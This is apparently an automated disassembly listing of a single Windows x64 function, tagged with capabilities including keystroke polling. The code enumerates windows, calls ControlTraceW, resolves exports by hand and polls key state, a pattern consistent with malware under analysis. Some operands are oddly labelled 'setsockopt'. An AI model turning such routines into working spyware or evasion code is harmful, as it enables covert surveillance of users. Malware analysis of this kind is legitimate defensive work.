Function at 0xbef02f70
Capabilities:
Enumerate gui resources
Get common file path
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x58]
sub rsp, 0x158
test rcx, rcx
lea r13, [0xbeef4598]
mov rsi, rcx
lea r15, [0xbeef5180]
setne r14b
xor r12d, r12d
mov byte [rbp + 0xa8], r14b
nop
xor edx, edx
xor ecx, ecx
mov r8d, 1
call qword [sym.imp.USER32.dll_OpenInputDesktop]
mov rbx, rax
test rax, rax
je 0xbef02fe4
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ecx, eax
call qword [sym.imp.USER32.dll_GetThreadDesktop]
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.USER32.dll_SetThreadDesktop]
jmp 0xbef02fe7
mov rdi, r12
test rsi, rsi
je 0xbef02ffb
xor edx, edx
lea rcx, [0xbef02eb0]
call qword [sym.imp.USER32.dll_EnumWindows]
movzx ecx, r14b
call fcn.bef021a0
test al, al
je 0xbef030b1
movzx eax, byte [0xbef0dc98]
lea r8, [0xbeef31d8]
mov r10, qword [0xbef0df30]
lea rcx, [0xbeef47c8]
test al, al
lea rdx, [0xbeef47b8]
lea rax, [0xbeef31d0]
cmovne r8, rax
cmovne rcx, rdx
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0xbef03050
add eax, eax
mov r9, 0xffffffffffffffff
inc r9
cmp word [r8 + r9*2], 0
jne 0xbef03063
mov dword [rsp + 0x48], r12d
lea rdx, [rbp + 0xb0]
mov qword [rsp + 0x40], rdx
add r9d, r9d
mov dword [rsp + 0x38], r12d
mov edx, 0xffffffff
mov dword [rsp + 0x30], setsockopt
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
xor ecx, ecx
call r10
xor edx, edx
mov rcx, 0xffffffffffffffff
call qword [0xbef0e4a8]
lea rax, [0xbeef47e8]
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], rax
lea rdx, [rsp + 0x70]
lea rax, [0xbeef4680]
mov qword [rbp - 0x78], 1
lea rcx, [0xbef01d50]
mov qword [rbp - 0x80], rax
call qword [sym.imp.USER32.dll_EnumWindows]
cmp qword [rsp + 0x70], 0
jne 0xbef0322c
lea rax, [0xbeef4480]
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x68], rax
lea rdx, [rbp - 0x70]
lea rax, [0xbeef4468]
mov qword [rbp - 0x58], 1
lea rcx, [0xbef01d50]
mov qword [rbp - 0x60], rax
call qword [sym.imp.USER32.dll_EnumWindows]
cmp qword [rbp - 0x70], 0
jne 0xbef0322c
lea rax, [0xbeef4810]
mov qword [rbp - 0x50], r12
mov qword [rbp - 0x48], rax
lea rdx, [rbp - 0x50]
lea rax, [0xbeef4560]
mov qword [rbp - 0x38], 1
lea rcx, [0xbef01d50]
mov qword [rbp - 0x40], rax
call qword [sym.imp.USER32.dll_EnumWindows]
cmp qword [rbp - 0x50], 0
jne 0xbef0322c
lea rdx, [rbp - 0x30]
mov qword [rbp - 0x30], r12
lea rcx, [0xbef01d50]
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x20], r13
mov qword [rbp - 0x18], r12
call qword [sym.imp.USER32.dll_EnumWindows]
cmp qword [rbp - 0x30], 0
jne 0xbef0322c
lea rax, [0xbeef46a0]
mov qword [rbp - 0x10], r12
lea rdx, [rbp - 0x10]
mov qword [rbp - 8], rax
lea rcx, [0xbef01d50]
mov qword [rbp], rax
mov qword [rbp + 8], r12
call qword [sym.imp.USER32.dll_EnumWindows]
cmp qword [rbp - 0x10], 0
jne 0xbef0322c
lea rax, [0xbeef46b0]
mov qword [rbp + 0x10], r12
lea rdx, [rbp + 0x10]
mov qword [rbp + 0x18], rax
lea rcx, [0xbef01d50]
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], r12
call qword [sym.imp.USER32.dll_EnumWindows]
cmp qword [rbp + 0x10], 0
jne 0xbef0322c
lea rax, [0xbeef46b8]
mov qword [rbp + 0x30], r12
lea rdx, [rbp + 0x30]
mov qword [rbp + 0x38], rax
lea rcx, [0xbef01d50]
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], r12
call qword [sym.imp.USER32.dll_EnumWindows]
cmp qword [rbp + 0x30], 0
je 0xbef032d1
movzx eax, byte [0xbef0dc98]
lea r8, [0xbeef31d8]
mov r10, qword [0xbef0df30]
lea rcx, [0xbeef4848]
test al, al
lea rdx, [0xbeef4838]
lea rax, [0xbeef31d0]
cmovne r8, rax
cmovne rcx, rdx
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0xbef03270
add eax, eax
mov r9, 0xffffffffffffffff
inc r9
cmp word [r8 + r9*2], 0
jne 0xbef03283
mov dword [rsp + 0x48], r12d
lea rdx, [rbp + 0xb8]
mov qword [rsp + 0x40], rdx
add r9d, r9d
mov dword [rsp + 0x38], r12d
mov edx, 0xffffffff
mov dword [rsp + 0x30], setsockopt
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
xor ecx, ecx
call r10
xor edx, edx
mov rcx, 0xffffffffffffffff
call qword [0xbef0e4a8]
test rdi, rdi
je 0xbef032df
mov rcx, rdi
call qword [sym.imp.USER32.dll_SetThreadDesktop]
test rbx, rbx
je 0xbef032ed
mov rcx, rbx
call qword [sym.imp.USER32.dll_CloseDesktop]
mov r9d, 1
lea r8, [0xbef0d660]
lea rdx, [0xbeef4878]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_ControlTraceW]
test rsi, rsi
jne 0xbef0361b
cmp dword [0xbef0ec70], esi
jne 0xbef0338a
mov rcx, qword [0xbef13370]
mov rax, rcx
test rcx, rcx
jne 0xbef03348
xor edx, edx
lea rcx, [0xbeef48a0]
mov r8d, 0x800
call qword [0xbef0e510]
mov rcx, rax
mov qword [0xbef13370], rax
test rax, rax
je 0xbef0338a
lea rbx, [0xbef0ec70]
mov rdi, r15
mov esi, 0x10
nop dword [rax]
mov rax, qword [0xbef0e568]
mov rdx, qword [rdi]
call rax
mov rcx, qword [0xbef13370]
test rax, rax
je 0xbef0337c
sub eax, ecx
mov dword [rbx], eax
add rdi, 8
add rbx, 4
sub rsi, 1
jne 0xbef03360
cmp dword [0xbef0e810], 0
jne 0xbef0353e
mov rdi, qword [0xbef13378]
test rdi, rdi
jne 0xbef03442
mov rcx, qword [0xbef0e4e0]
xor edx, edx
mov r8d, 0x258
mov rdi, r12
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
test rax, rax
je 0xbef03432
mov edx, 0x104
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov ecx, eax
mov r8d, setsockopt
lea rdx, [0xbeef3988]
lea rbx, [rsi + rcx*2]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_RtlMoveMemory]
lea rcx, [rbx + 0x14]
lea rdx, [0xbeef48a0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rax, qword [0xbef0e510]
xor edx, edx
mov r8d, 0x20
mov rcx, rsi
call rax
mov rcx, qword [0xbef0e4e0]
mov rdi, rax
and rdi, 0xffffffffffffff00
mov r8, rsi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [0xbef13378], rdi
test rdi, rdi
je 0xbef0353e
lea r8, [0xbef0e810]
mov qword [rsp + 0x60], setsockopt
mov rdx, r15
mov qword [rsp + 0x58], r8
mov qword [rsp + 0x50], rdx
nop
mov rax, qword [0xbef0dab0]
cmp rdi, rax
jb 0xbef03504
mov rcx, qword [0xbef0dab8]
cmp rdi, rcx
ja 0xbef03504
mov r15, qword [rdx]
cmp r15, rax
jb 0xbef03504
cmp r15, rcx
ja 0xbef03504
movsxd rax, dword [rdi + 0x3c]
mov ecx, dword [rax + rdi + 0x78]
test ecx, ecx
je 0xbef03504
cmp dword [rax + rdi + 0x7c], 0
je 0xbef03504
mov r12d, dword [rdi + rcx + 0x20]
lea r14, [rdi + rcx]
mov r13d, dword [r14 + 0x24]
add r12, rdi
mov eax, dword [r14 + 0x1c]
add r13, rdi
add rax, rdi
xor ebx, ebx
mov qword [rsp + 0x68], rax
cmp dword [r14 + 0x18], ebx
jbe 0xbef03501
nop word [rax + rax]
mov edx, dword [r12 + rbx*4]
mov rcx, r15
add rdx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0xbef035f4
inc ebx
cmp ebx, dword [r14 + 0x18]
jb 0xbef034d0
mov rdi, qword [0xbef13378]
mov rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
xor r12d, r12d
mov ecx, r12d
add rdx, 8
mov dword [r8], ecx
add r8, 4
mov qword [rsp + 0x50], rdx
sub qword [rsp + 0x60], 1
mov qword [rsp + 0x58], r8
jne 0xbef03460
movzx r14d, byte [rbp + 0xa8]
lea r15, [0xbeef5180]
lea r13, [0xbeef4598]
mov edi, 0x10000
mov ebx, 8
mov esi, 0x10010
nop dword [rax]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp ebx, eax
je 0xbef03576
cmp ebx, dword [0xbef0df18]
je 0xbef03576
mov ecx, ebx
call fcn.bef01f30
test al, al
je 0xbef03576
cmp edi, 0x40000
cmovb edi, esi
add ebx, 4
add esi, 8
cmp ebx, edi
jb 0xbef03550
cmp dword [0xbef0df18], 0
jne 0xbef035c6
mov ecx, 0x1b
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0xbef035c6
mov rcx, qword [0xbef0dda8]
test rcx, rcx
je 0xbef035b7
lea r8, [0xbef0dad0]
mov edx, 4
call qword [0xbef0de28]
xor edx, edx
mov rcx, 0xffffffffffffffff
call qword [0xbef0e4a8]
mov rdx, 0xfffffffffffffffe
mov rcx, 0xffffffffffffffff
call fcn.bef05810
lea rdx, [0xbef0d978]
xor ecx, ecx
call qword [0xbef0de20]
mov rsi, qword [rbp + 0xa0]
jmp 0xbef02fb0
movzx eax, word [r13 + rbx*2]
xor r12d, r12d
mov rcx, qword [rsp + 0x68]
mov rdi, qword [0xbef13378]
mov rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov ecx, dword [rcx + rax*4]
jmp 0xbef03507
xor eax, eax
add rsp, 0x158
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret